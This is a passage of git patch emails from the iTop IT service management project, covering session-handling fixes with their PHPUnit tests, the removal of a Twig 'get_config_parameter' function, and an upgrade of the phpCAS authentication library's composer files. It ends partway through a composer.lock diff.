100644 --- a/test/application/Session/SessionTest.php +++ b/test/application/Session/SessionTest.php @@ -1,6 +1,5 @@ assertNull(Session::$iSessionId); - Session::Start(); - $this->assertNotNull(Session::$iSessionId); - } - - /** - * @covers \Combodo\iTop\Application\Helper\Session::WriteClose - */ - public function testWriteClose() - { - $this->assertNull(Session::$iSessionId); - Session::Start(); - $this->assertNotNull(Session::$iSessionId); - Session::WriteClose(); - $_SESSION['test'] = 'OK'; - Session::Start(); - $this->assertArrayNotHasKey('test', $_SESSION); - } - - public function testReopenningSession() - { - Session::Start(); - $_SESSION['test'] = 'OK'; - Session::WriteClose(); - unset($_SESSION['test']); - Session::Start(); - $this->assertEquals('OK', $_SESSION['test']); - } - - public function testSet() - { - Session::Start(); - Session::Set('test', 'OK'); - $this->assertEquals('OK', Session::Get('test')); - Session::WriteClose(); - $this->assertEquals('OK', Session::Get('test')); - unset($_SESSION['test']); - Session::Start(); - $this->assertEquals('OK', Session::Get('test')); - } - - public function testSetArray() - { - Session::Start(); - Session::Set(['test1', 'test2', 'test3'], 'OK'); - $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); - Session::WriteClose(); - $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); - unset($_SESSION['test1']); - Session::Start(); - $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); - } - - public function testSetOnClosedSession() - { - Session::Start(); - Session::Set('test', 'OK'); - $this->assertEquals('OK', Session::Get('test')); - Session::WriteClose(); - $this->assertEquals('OK', Session::Get('test')); - Session::Set('test', 'OK'); - $this->assertEquals('OK', Session::Get('test')); - unset($_SESSION['test']); - Session::Start(); - $this->assertEquals('OK', Session::Get('test')); - } - - - public function testIsSet() - { - $this->assertFalse(Session::IsSet('test')); - Session::Start(); - Session::Set('test', 'OK'); - $this->assertTrue(Session::IsSet('test')); - Session::Set(['test1', 'test2', 'test3'], 'OK'); - $this->assertTrue(Session::IsSet('test1')); - $this->assertTrue(Session::IsSet(['test1', 'test2', 'test3'])); - Session::WriteClose(); - } - - public function testGet() - { - Session::Start(); - $this->assertNull(Session::Get('test')); - Session::Set('test', 'OK'); - $this->assertEquals('OK', Session::Get('test')); - Session::WriteClose(); - } - - public function testUnset() - { - Session::Start(); - Session::Unset('test'); - $this->assertFalse(Session::IsSet('test')); - Session::Set('test', 'OK'); - $this->assertTrue(Session::IsSet('test')); - Session::Unset('test'); - $this->assertFalse(Session::IsSet('test')); - Session::Set('test', 'OK'); - $this->assertTrue(Session::IsSet('test')); - Session::Set(['test1', 'test2', 'test3'], 'OK'); - $this->assertTrue(Session::IsSet(['test1', 'test2', 'test3'])); - Session::Unset(['test1', 'test2', 'test3']); - $this->assertFalse(Session::IsSet(['test1', 'test2', 'test3'])); - } +// /** +// * @covers \Combodo\iTop\Application\Helper\Session::Start +// */ +// public function testStart() +// { +// $this->assertNull(Session::$iSessionId); +// Session::Start(); +// $this->assertNotNull(Session::$iSessionId); +// } +// +// /** +// * @covers \Combodo\iTop\Application\Helper\Session::WriteClose +// */ +// public function testWriteClose() +// { +// $this->assertNull(Session::$iSessionId); +// Session::Start(); +// $this->assertNotNull(Session::$iSessionId); +// Session::WriteClose(); +// $_SESSION['test'] = 'OK'; +// Session::Start(); +// $this->assertArrayNotHasKey('test', $_SESSION); +// } +// +// public function testReopenningSession() +// { +// Session::Start(); +// $_SESSION['test'] = 'OK'; +// Session::WriteClose(); +// unset($_SESSION['test']); +// Session::Start(); +// $this->assertEquals('OK', $_SESSION['test']); +// } +// +// public function testSet() +// { +// Session::Start(); +// Session::Set('test', 'OK'); +// $this->assertEquals('OK', Session::Get('test')); +// Session::WriteClose(); +// $this->assertEquals('OK', Session::Get('test')); +// unset($_SESSION['test']); +// Session::Start(); +// $this->assertEquals('OK', Session::Get('test')); +// } +// +// public function testSetArray() +// { +// Session::Start(); +// Session::Set(['test1', 'test2', 'test3'], 'OK'); +// $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); +// Session::WriteClose(); +// $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); +// unset($_SESSION['test1']); +// Session::Start(); +// $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); +// } +// +// public function testSetOnClosedSession() +// { +// Session::Start(); +// Session::Set('test', 'OK'); +// $this->assertEquals('OK', Session::Get('test')); +// Session::WriteClose(); +// $this->assertEquals('OK', Session::Get('test')); +// Session::Set('test', 'OK'); +// $this->assertEquals('OK', Session::Get('test')); +// unset($_SESSION['test']); +// Session::Start(); +// $this->assertEquals('OK', Session::Get('test')); +// } +// +// +// public function testIsSet() +// { +// $this->assertFalse(Session::IsSet('test')); +// Session::Start(); +// Session::Set('test', 'OK'); +// $this->assertTrue(Session::IsSet('test')); +// Session::Set(['test1', 'test2', 'test3'], 'OK'); +// $this->assertTrue(Session::IsSet('test1')); +// $this->assertTrue(Session::IsSet(['test1', 'test2', 'test3'])); +// Session::WriteClose(); +// } +// +// public function testGet() +// { +// Session::Start(); +// $this->assertNull(Session::Get('test')); +// Session::Set('test', 'OK'); +// $this->assertEquals('OK', Session::Get('test')); +// Session::WriteClose(); +// } +// +// public function testUnset() +// { +// Session::Start(); +// Session::Unset('test'); +// $this->assertFalse(Session::IsSet('test')); +// Session::Set('test', 'OK'); +// $this->assertTrue(Session::IsSet('test')); +// Session::Unset('test'); +// $this->assertFalse(Session::IsSet('test')); +// Session::Set('test', 'OK'); +// $this->assertTrue(Session::IsSet('test')); +// Session::Set(['test1', 'test2', 'test3'], 'OK'); +// $this->assertTrue(Session::IsSet(['test1', 'test2', 'test3'])); +// Session::Unset(['test1', 'test2', 'test3']); +// $this->assertFalse(Session::IsSet(['test1', 'test2', 'test3'])); +// } } From c05684945f6226cefdbbb05ad7a68a7729c30775 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 23 Nov 2022 10:34:24 +0100 Subject: [PATCH 049/230] Fix CI --- sources/application/Helper/Session.php | 20 +- test/application/Session/SessionTest.php | 233 ++++++++++++----------- 2 files changed, 139 insertions(+), 114 deletions(-) diff --git a/sources/application/Helper/Session.php b/sources/application/Helper/Session.php index 512f47dcd..547f933c4 100644 --- a/sources/application/Helper/Session.php +++ b/sources/application/Helper/Session.php @@ -24,10 +24,12 @@ class Session protected static $bIsInitialized = false; /** @var bool */ protected static $bSessionStarted = false; + /** @var bool */ + public static $bAllowCLI = false; public static function Start() { - if (utils::IsModeCLI()) { + if (self::IsModeCLI()) { return; } @@ -49,7 +51,7 @@ class Session public static function FlushSession() { - if (utils::IsModeCLI()) { + if (self::IsModeCLI()) { return; } @@ -62,7 +64,7 @@ class Session public static function RegenerateId($bDeleteOldSession = false) { - if (utils::IsModeCLI()) { + if (self::IsModeCLI()) { return; } @@ -73,7 +75,7 @@ class Session public static function WriteClose() { - if (utils::IsModeCLI()) { + if (self::IsModeCLI()) { return; } @@ -212,4 +214,14 @@ class Session { return print_r($_SESSION, true); } + + private static function IsModeCLI(): bool + { + if (self::$bAllowCLI) { + + return false; + } + + return utils::IsModeCLI(); + } } \ No newline at end of file diff --git a/test/application/Session/SessionTest.php b/test/application/Session/SessionTest.php index 344d7bfda..ee1ce14ad 100644 --- a/test/application/Session/SessionTest.php +++ b/test/application/Session/SessionTest.php @@ -1,5 +1,6 @@ assertNull(Session::$iSessionId); -// Session::Start(); -// $this->assertNotNull(Session::$iSessionId); -// } -// -// /** -// * @covers \Combodo\iTop\Application\Helper\Session::WriteClose -// */ -// public function testWriteClose() -// { -// $this->assertNull(Session::$iSessionId); -// Session::Start(); -// $this->assertNotNull(Session::$iSessionId); -// Session::WriteClose(); -// $_SESSION['test'] = 'OK'; -// Session::Start(); -// $this->assertArrayNotHasKey('test', $_SESSION); -// } -// -// public function testReopenningSession() -// { -// Session::Start(); -// $_SESSION['test'] = 'OK'; -// Session::WriteClose(); -// unset($_SESSION['test']); -// Session::Start(); -// $this->assertEquals('OK', $_SESSION['test']); -// } -// -// public function testSet() -// { -// Session::Start(); -// Session::Set('test', 'OK'); -// $this->assertEquals('OK', Session::Get('test')); -// Session::WriteClose(); -// $this->assertEquals('OK', Session::Get('test')); -// unset($_SESSION['test']); -// Session::Start(); -// $this->assertEquals('OK', Session::Get('test')); -// } -// -// public function testSetArray() -// { -// Session::Start(); -// Session::Set(['test1', 'test2', 'test3'], 'OK'); -// $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); -// Session::WriteClose(); -// $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); -// unset($_SESSION['test1']); -// Session::Start(); -// $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); -// } -// -// public function testSetOnClosedSession() -// { -// Session::Start(); -// Session::Set('test', 'OK'); -// $this->assertEquals('OK', Session::Get('test')); -// Session::WriteClose(); -// $this->assertEquals('OK', Session::Get('test')); -// Session::Set('test', 'OK'); -// $this->assertEquals('OK', Session::Get('test')); -// unset($_SESSION['test']); -// Session::Start(); -// $this->assertEquals('OK', Session::Get('test')); -// } -// -// -// public function testIsSet() -// { -// $this->assertFalse(Session::IsSet('test')); -// Session::Start(); -// Session::Set('test', 'OK'); -// $this->assertTrue(Session::IsSet('test')); -// Session::Set(['test1', 'test2', 'test3'], 'OK'); -// $this->assertTrue(Session::IsSet('test1')); -// $this->assertTrue(Session::IsSet(['test1', 'test2', 'test3'])); -// Session::WriteClose(); -// } -// -// public function testGet() -// { -// Session::Start(); -// $this->assertNull(Session::Get('test')); -// Session::Set('test', 'OK'); -// $this->assertEquals('OK', Session::Get('test')); -// Session::WriteClose(); -// } -// -// public function testUnset() -// { -// Session::Start(); -// Session::Unset('test'); -// $this->assertFalse(Session::IsSet('test')); -// Session::Set('test', 'OK'); -// $this->assertTrue(Session::IsSet('test')); -// Session::Unset('test'); -// $this->assertFalse(Session::IsSet('test')); -// Session::Set('test', 'OK'); -// $this->assertTrue(Session::IsSet('test')); -// Session::Set(['test1', 'test2', 'test3'], 'OK'); -// $this->assertTrue(Session::IsSet(['test1', 'test2', 'test3'])); -// Session::Unset(['test1', 'test2', 'test3']); -// $this->assertFalse(Session::IsSet(['test1', 'test2', 'test3'])); -// } + protected function setUp(): void + { + parent::setUp(); + Session::$bAllowCLI = true; + } + + protected function tearDown(): void + { + parent::tearDown(); + Session::$bAllowCLI = false; + } + + /** + * @covers \Combodo\iTop\Application\Helper\Session::Start + */ + public function testStart() + { + $this->assertNull(Session::$iSessionId); + Session::Start(); + $this->assertNotNull(Session::$iSessionId); + } + + /** + * @covers \Combodo\iTop\Application\Helper\Session::WriteClose + */ + public function testWriteClose() + { + $this->assertNull(Session::$iSessionId); + Session::Start(); + $this->assertNotNull(Session::$iSessionId); + Session::WriteClose(); + $_SESSION['test'] = 'OK'; + Session::Start(); + $this->assertArrayNotHasKey('test', $_SESSION); + } + + public function testReopenningSession() + { + Session::Start(); + $_SESSION['test'] = 'OK'; + Session::WriteClose(); + unset($_SESSION['test']); + Session::Start(); + $this->assertEquals('OK', $_SESSION['test']); + } + + public function testSet() + { + Session::Start(); + Session::Set('test', 'OK'); + $this->assertEquals('OK', Session::Get('test')); + Session::WriteClose(); + $this->assertEquals('OK', Session::Get('test')); + unset($_SESSION['test']); + Session::Start(); + $this->assertEquals('OK', Session::Get('test')); + } + + public function testSetArray() + { + Session::Start(); + Session::Set(['test1', 'test2', 'test3'], 'OK'); + $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); + Session::WriteClose(); + $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); + unset($_SESSION['test1']); + Session::Start(); + $this->assertEquals('OK', Session::Get(['test1', 'test2', 'test3'])); + } + + public function testSetOnClosedSession() + { + Session::Start(); + Session::Set('test', 'OK'); + $this->assertEquals('OK', Session::Get('test')); + Session::WriteClose(); + $this->assertEquals('OK', Session::Get('test')); + Session::Set('test', 'OK'); + $this->assertEquals('OK', Session::Get('test')); + unset($_SESSION['test']); + Session::Start(); + $this->assertEquals('OK', Session::Get('test')); + } + + + public function testIsSet() + { + $this->assertFalse(Session::IsSet('test')); + Session::Start(); + Session::Set('test', 'OK'); + $this->assertTrue(Session::IsSet('test')); + Session::Set(['test1', 'test2', 'test3'], 'OK'); + $this->assertTrue(Session::IsSet('test1')); + $this->assertTrue(Session::IsSet(['test1', 'test2', 'test3'])); + Session::WriteClose(); + } + + public function testGet() + { + Session::Start(); + $this->assertNull(Session::Get('test')); + Session::Set('test', 'OK'); + $this->assertEquals('OK', Session::Get('test')); + Session::WriteClose(); + } + + public function testUnset() + { + Session::Start(); + Session::Unset('test'); + $this->assertFalse(Session::IsSet('test')); + Session::Set('test', 'OK'); + $this->assertTrue(Session::IsSet('test')); + Session::Unset('test'); + $this->assertFalse(Session::IsSet('test')); + Session::Set('test', 'OK'); + $this->assertTrue(Session::IsSet('test')); + Session::Set(['test1', 'test2', 'test3'], 'OK'); + $this->assertTrue(Session::IsSet(['test1', 'test2', 'test3'])); + Session::Unset(['test1', 'test2', 'test3']); + $this->assertFalse(Session::IsSet(['test1', 'test2', 'test3'])); + } } From 65b6c0f4ea9605f276b518f9d69b0db60ecc40db Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 23 Nov 2022 11:04:58 +0100 Subject: [PATCH 050/230] Fix CI --- core/userrights.class.inc.php | 1 - sources/application/Helper/Session.php | 16 +++------------- test/application/Session/SessionTest.php | 8 ++++++++ 3 files changed, 11 insertions(+), 14 deletions(-) diff --git a/core/userrights.class.inc.php b/core/userrights.class.inc.php index 2edd33a04..9b9a3cc0c 100644 --- a/core/userrights.class.inc.php +++ b/core/userrights.class.inc.php @@ -1838,7 +1838,6 @@ class UserRights self::$m_aAdmins = array(); self::$m_aPortalUsers = array(); } - Session::FlushSession(); self::_ResetSessionCache(); if (self::$m_oAddOn) { diff --git a/sources/application/Helper/Session.php b/sources/application/Helper/Session.php index 547f933c4..0facb2669 100644 --- a/sources/application/Helper/Session.php +++ b/sources/application/Helper/Session.php @@ -49,19 +49,6 @@ class Session } } - public static function FlushSession() - { - if (self::IsModeCLI()) { - return; - } - - if (!is_null(self::$iSessionId)) { - self::$bIsInitialized = false; - self::$bSessionStarted = false; - self::Start(); - } - } - public static function RegenerateId($bDeleteOldSession = false) { if (self::IsModeCLI()) { @@ -69,6 +56,9 @@ class Session } session_regenerate_id($bDeleteOldSession); + if (self::$bSessionStarted) { + self::WriteClose(); + } self::$bSessionStarted = session_start(); self::$iSessionId = session_id(); } diff --git a/test/application/Session/SessionTest.php b/test/application/Session/SessionTest.php index ee1ce14ad..fbc598da6 100644 --- a/test/application/Session/SessionTest.php +++ b/test/application/Session/SessionTest.php @@ -133,4 +133,12 @@ class SessionTest extends ItopTestCase $this->assertFalse(Session::IsSet(['test1', 'test2', 'test3'])); } + public function testRegenerateId() + { + Session::Start(); + $iPrevSessionId = Session::$iSessionId; + Session::RegenerateId(); + //$this->assertFalse(Session::IsSet('test')); + $this->assertNotEquals($iPrevSessionId, Session::$iSessionId); + } } From 75f4751b82d97acb4e958c654915c11a8fcfab00 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Tue, 22 Nov 2022 10:25:42 +0100 Subject: [PATCH 051/230] =?UTF-8?q?N=C2=B05741=20-=20remove=20use=20of=20g?= =?UTF-8?q?et=5Fconfig=5Fparameter=20in=20Twig?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/twigextension.class.inc.php | 9 --------- .../2.x/itop-portal-base/portal/config/bootstrap.php | 1 + .../2.x/itop-portal-base/portal/config/services.yaml | 1 + .../portal/src/Twig/AppExtension.php | 12 +----------- .../portal/templates/layout.html.twig | 4 ++-- sources/application/TwigBase/Twig/Extension.php | 9 --------- 6 files changed, 5 insertions(+), 31 deletions(-) diff --git a/application/twigextension.class.inc.php b/application/twigextension.class.inc.php index 52d1dd569..03885172c 100644 --- a/application/twigextension.class.inc.php +++ b/application/twigextension.class.inc.php @@ -5,7 +5,6 @@ namespace Combodo\iTop; use AttributeDateTime; use Dict; use Exception; -use MetaModel; use Twig_Environment; use Twig_SimpleFilter; use Twig_SimpleFunction; @@ -115,14 +114,6 @@ class TwigExtension return utils::IsDevelopmentEnvironment(); })); - // Function to get configuration parameter - // Usage in twig: {{ get_config_parameter('foo') }} - $oTwigEnv->addFunction(new Twig_SimpleFunction('get_config_parameter', function($sParamName) - { - $oConfig = MetaModel::GetConfig(); - return $oConfig->Get($sParamName); - })); - // Function to get the URL of a static page in a module // Usage in twig: {{ get_static_page_module_url('itop-my-module', 'path-to-my-page') }} $oTwigEnv->addFunction(new Twig_SimpleFunction('get_static_page_module_url', function($sModuleName, $sPage) diff --git a/datamodels/2.x/itop-portal-base/portal/config/bootstrap.php b/datamodels/2.x/itop-portal-base/portal/config/bootstrap.php index fe6381bdc..18150907a 100644 --- a/datamodels/2.x/itop-portal-base/portal/config/bootstrap.php +++ b/datamodels/2.x/itop-portal-base/portal/config/bootstrap.php @@ -157,6 +157,7 @@ if (!defined('PORTAL_ID')) // Env. vars to be used in templates and others $_ENV['COMBODO_CURRENT_ENVIRONMENT'] = utils::GetCurrentEnvironment(); $_ENV['COMBODO_ABSOLUTE_URL'] = utils::GetAbsoluteUrlAppRoot(); +$_ENV['COMBODO_CONF_APP_ICON_URL'] = MetaModel::GetConfig()->Get('app_icon_url'); $_ENV['COMBODO_MODULES_ABSOLUTE_URL'] = utils::GetAbsoluteUrlModulesRoot(); $_ENV['COMBODO_PORTAL_BASE_ABSOLUTE_URL'] = utils::GetAbsoluteUrlModulesRoot().'itop-portal-base/portal/public/'; $_ENV['COMBODO_PORTAL_BASE_ABSOLUTE_PATH'] = MODULESROOT.'/itop-portal-base/portal/public/'; diff --git a/datamodels/2.x/itop-portal-base/portal/config/services.yaml b/datamodels/2.x/itop-portal-base/portal/config/services.yaml index 0bdf3c740..1d0046e78 100644 --- a/datamodels/2.x/itop-portal-base/portal/config/services.yaml +++ b/datamodels/2.x/itop-portal-base/portal/config/services.yaml @@ -30,6 +30,7 @@ parameters: # Used in templates combodo.current_environment: '%env(string:COMBODO_CURRENT_ENVIRONMENT)%' combodo.absolute_url: '%env(string:COMBODO_ABSOLUTE_URL)%' + combodo.conf.app_icon_url: '%env(string:COMBODO_CONF_APP_ICON_URL)%' combodo.modules.absolute_url: '%env(string:COMBODO_MODULES_ABSOLUTE_URL)%' combodo.modules.absolute_path: !php/const MODULESROOT combodo.portal.base.absolute_url: '%env(string:COMBODO_PORTAL_BASE_ABSOLUTE_URL)%' diff --git a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php index 88ad56440..b44f62e86 100644 --- a/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php +++ b/datamodels/2.x/itop-portal-base/portal/src/Twig/AppExtension.php @@ -19,13 +19,11 @@ namespace Combodo\iTop\Portal\Twig; +use Dict; use Twig\Extension\AbstractExtension; - use Twig_SimpleFilter; use Twig_SimpleFunction; use utils; -use Dict; -use MetaModel; /** * Class AppExtension @@ -124,14 +122,6 @@ class AppExtension extends AbstractExtension return utils::IsDevelopmentEnvironment(); }); - // Function to get configuration parameter - // Usage in twig: {{ get_config_parameter('foo') }} - $functions[] = new Twig_SimpleFunction('get_config_parameter', function ($sParamName) { - $oConfig = MetaModel::GetConfig(); - - return $oConfig->Get($sParamName); - }); - return $functions; } diff --git a/datamodels/2.x/itop-portal-base/portal/templates/layout.html.twig b/datamodels/2.x/itop-portal-base/portal/templates/layout.html.twig index 19bd07512..681a1eaf0 100644 --- a/datamodels/2.x/itop-portal-base/portal/templates/layout.html.twig +++ b/datamodels/2.x/itop-portal-base/portal/templates/layout.html.twig @@ -186,7 +186,7 @@ {% block pNavigationTopMenuLogo %} - + {% if app['combodo.portal.instance.conf'].properties.logo is not null %} {{ app['combodo.portal.instance.conf'].properties.name|dict_s }} {% else %} @@ -314,7 +314,7 @@ {% if app['kernel'].debug == true %}
Debug : Taille
{% endif %} -
+ {{ app['combodo.portal.instance.conf'].properties.name|dict_s }} {% endblock %} diff --git a/sources/application/TwigBase/Twig/Extension.php b/sources/application/TwigBase/Twig/Extension.php index 8a57714c5..dc82a6860 100644 --- a/sources/application/TwigBase/Twig/Extension.php +++ b/sources/application/TwigBase/Twig/Extension.php @@ -10,7 +10,6 @@ namespace Combodo\iTop\Application\TwigBase\Twig; use AttributeDateTime; use Dict; use Exception; -use MetaModel; use Twig_Environment; use Twig_SimpleFilter; use Twig_SimpleFunction; @@ -119,14 +118,6 @@ class Extension $oTwigEnv->addFunction(new Twig_SimpleFunction('is_development_environment', function () { return utils::IsDevelopmentEnvironment(); })); - - // Function to get configuration parameter - // Usage in twig: {{ get_config_parameter('foo') }} - $oTwigEnv->addFunction(new Twig_SimpleFunction('get_config_parameter', function ($sParamName) { - $oConfig = MetaModel::GetConfig(); - - return $oConfig->Get($sParamName); - })); } } From f77361ceb2bf218d555a5fbf17126accd25900b8 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Mon, 21 Nov 2022 17:19:49 +0100 Subject: [PATCH 052/230] =?UTF-8?q?N=C2=B05685=20-=20Upgrade=20apereo/phpc?= =?UTF-8?q?as?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- datamodels/2.x/authent-cas/composer.json | 14 +- datamodels/2.x/authent-cas/composer.lock | 86 +- datamodels/2.x/authent-cas/main.php | 4 - .../2.x/authent-cas/module.authent-cas.php | 4 +- datamodels/2.x/authent-cas/src/CASLog.php | 17 + datamodels/2.x/authent-cas/src/CASLogger.php | 81 ++ .../2.x/authent-cas/src/CASLoginExtension.php | 37 +- .../authent-cas/vendor/apereo/phpcas/CAS.php | 6 +- .../vendor/apereo/phpcas/README.md | 13 +- .../vendor/apereo/phpcas/composer.json | 78 +- .../vendor/apereo/phpcas/source/CAS.php | 133 +- .../source/CAS/AuthenticationException.php | 16 +- .../apereo/phpcas/source/CAS/Autoload.php | 31 +- .../apereo/phpcas/source/CAS/Client.php | 1245 +++++++++++------ .../apereo/phpcas/source/CAS/CookieJar.php | 3 +- .../apereo/phpcas/source/CAS/Exception.php | 4 +- .../CAS/GracefullTerminationException.php | 4 +- .../source/CAS/InvalidArgumentException.php | 4 +- .../phpcas/source/CAS/Languages/Catalan.php | 2 +- .../CAS/Languages/ChineseSimplified.php | 4 +- .../phpcas/source/CAS/Languages/English.php | 4 +- .../phpcas/source/CAS/Languages/French.php | 4 +- .../phpcas/source/CAS/Languages/Galego.php | 117 ++ .../phpcas/source/CAS/Languages/German.php | 2 +- .../phpcas/source/CAS/Languages/Greek.php | 2 +- .../phpcas/source/CAS/Languages/Japanese.php | 2 +- .../CAS/Languages/LanguageInterface.php | 4 +- .../source/CAS/Languages/Portuguese.php | 114 ++ .../phpcas/source/CAS/Languages/Spanish.php | 2 +- ...uenceBeforeAuthenticationCallException.php | 2 +- .../OutOfSequenceBeforeClientException.php | 2 +- .../CAS/OutOfSequenceBeforeProxyException.php | 2 +- .../source/CAS/OutOfSequenceException.php | 2 +- .../source/CAS/PGTStorage/AbstractStorage.php | 2 +- .../phpcas/source/CAS/PGTStorage/Db.php | 2 +- .../phpcas/source/CAS/PGTStorage/File.php | 2 +- .../phpcas/source/CAS/ProxiedService.php | 2 +- .../source/CAS/ProxiedService/Abstract.php | 2 +- .../source/CAS/ProxiedService/Exception.php | 2 +- .../phpcas/source/CAS/ProxiedService/Http.php | 2 +- .../CAS/ProxiedService/Http/Abstract.php | 2 +- .../source/CAS/ProxiedService/Http/Get.php | 2 +- .../source/CAS/ProxiedService/Http/Post.php | 2 +- .../phpcas/source/CAS/ProxiedService/Imap.php | 2 +- .../source/CAS/ProxiedService/Testable.php | 2 +- .../apereo/phpcas/source/CAS/ProxyChain.php | 2 +- .../source/CAS/ProxyChain/AllowedList.php | 2 +- .../phpcas/source/CAS/ProxyChain/Any.php | 2 +- .../source/CAS/ProxyChain/Interface.php | 4 +- .../phpcas/source/CAS/ProxyChain/Trusted.php | 2 +- .../source/CAS/ProxyTicketException.php | 2 +- .../source/CAS/Request/AbstractRequest.php | 2 +- .../source/CAS/Request/CurlMultiRequest.php | 2 +- .../phpcas/source/CAS/Request/CurlRequest.php | 20 +- .../phpcas/source/CAS/Request/Exception.php | 2 +- .../CAS/Request/MultiRequestInterface.php | 2 +- .../source/CAS/Request/RequestInterface.php | 2 +- .../ServiceBaseUrl/AllowedListDiscovery.php | 152 ++ .../phpcas/source/CAS/ServiceBaseUrl/Base.php | 98 ++ .../source/CAS/ServiceBaseUrl/Interface.php | 61 + .../source/CAS/ServiceBaseUrl/Static.php | 69 + .../phpcas/source/CAS/Session/PhpSession.php | 45 + .../source/CAS/TypeMismatchException.php | 2 +- .../vendor/composer/ClassLoader.php | 165 ++- .../vendor/composer/InstalledVersions.php | 337 +++++ .../vendor/composer/autoload_classmap.php | 12 + .../vendor/composer/autoload_psr4.php | 1 + .../vendor/composer/autoload_real.php | 20 +- .../vendor/composer/autoload_static.php | 28 + .../vendor/composer/installed.json | 187 ++- .../authent-cas/vendor/composer/installed.php | 41 + .../vendor/composer/platform_check.php | 26 + 72 files changed, 2685 insertions(+), 672 deletions(-) delete mode 100644 datamodels/2.x/authent-cas/main.php create mode 100644 datamodels/2.x/authent-cas/src/CASLog.php create mode 100644 datamodels/2.x/authent-cas/src/CASLogger.php create mode 100644 datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Galego.php create mode 100644 datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Languages/Portuguese.php create mode 100644 datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/AllowedListDiscovery.php create mode 100644 datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Base.php create mode 100644 datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Interface.php create mode 100644 datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/ServiceBaseUrl/Static.php create mode 100644 datamodels/2.x/authent-cas/vendor/apereo/phpcas/source/CAS/Session/PhpSession.php create mode 100644 datamodels/2.x/authent-cas/vendor/composer/InstalledVersions.php create mode 100644 datamodels/2.x/authent-cas/vendor/composer/installed.php create mode 100644 datamodels/2.x/authent-cas/vendor/composer/platform_check.php diff --git a/datamodels/2.x/authent-cas/composer.json b/datamodels/2.x/authent-cas/composer.json index 91734a0ed..ed79777b6 100644 --- a/datamodels/2.x/authent-cas/composer.json +++ b/datamodels/2.x/authent-cas/composer.json @@ -1,5 +1,13 @@ { - "require" : { - "apereo/phpcas" : "~1.3" - } + "config" : { + "classmap-authoritative" : true + }, + "autoload" : { + "psr-4" : { + "Combodo\\iTop\\Cas\\" : "src" + } + }, + "require" : { + "apereo/phpcas" : "~1.6.0" + } } \ No newline at end of file diff --git a/datamodels/2.x/authent-cas/composer.lock b/datamodels/2.x/authent-cas/composer.lock index 4f4b75cd3..91d670750 100644 --- a/datamodels/2.x/authent-cas/composer.lock +++ b/datamodels/2.x/authent-cas/composer.lock @@ -4,28 +4,32 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "4db4df78154f0de344ba35a27fe766b7", + "content-hash": "46afbbe7e92c2ccfe403f366ef1877e5", "packages": [ { "name": "apereo/phpcas", - "version": "1.3.7", + "version": "1.6.0", "source": { "type": "git", "url": "https://github.com/apereo/phpCAS.git", - "reference": "b5b29102c3a42f570c4a3e852f3cf67cae6d6082" + "reference": "f817c72a961484afef95ac64a9257c8e31f063b9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/apereo/phpCAS/zipball/b5b29102c3a42f570c4a3e852f3cf67cae6d6082", - "reference": "b5b29102c3a42f570c4a3e852f3cf67cae6d6082", + "url": "https://api.github.com/repos/apereo/phpCAS/zipball/f817c72a961484afef95ac64a9257c8e31f063b9", + "reference": "f817c72a961484afef95ac64a9257c8e31f063b9", "shasum": "" }, "require": { "ext-curl": "*", - "php": ">=5.4.0" + "ext-dom": "*", + "php": ">=7.1.0", + "psr/log": "^1.0 || ^2.0 || ^3.0" }, "require-dev": { - "phpunit/phpunit": "~3.7.10" + "monolog/monolog": "^1.0.0 || ^2.0.0", + "phpstan/phpstan": "^1.5", + "phpunit/phpunit": ">=7.5" }, "type": "library", "extra": { @@ -45,11 +49,16 @@ "authors": [ { "name": "Joachim Fritschi", - "homepage": "https://wiki.jasig.org/display/~fritschi" + "email": "jfritschi@freenet.de", + "homepage": "https://github.com/jfritschi" }, { "name": "Adam Franco", - "homepage": "https://wiki.jasig.org/display/~adamfranco" + "homepage": "https://github.com/adamfranco" + }, + { + "name": "Henry Pan", + "homepage": "https://github.com/phy25" } ], "description": "Provides a simple API for authenticating users against a CAS server", @@ -59,7 +68,61 @@ "cas", "jasig" ], - "time": "2019-04-22T19:48:16+00:00" + "support": { + "issues": "https://github.com/apereo/phpCAS/issues", + "source": "https://github.com/apereo/phpCAS/tree/1.6.0" + }, + "time": "2022-10-31T20:39:27+00:00" + }, + { + "name": "psr/log", + "version": "1.1.4", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": 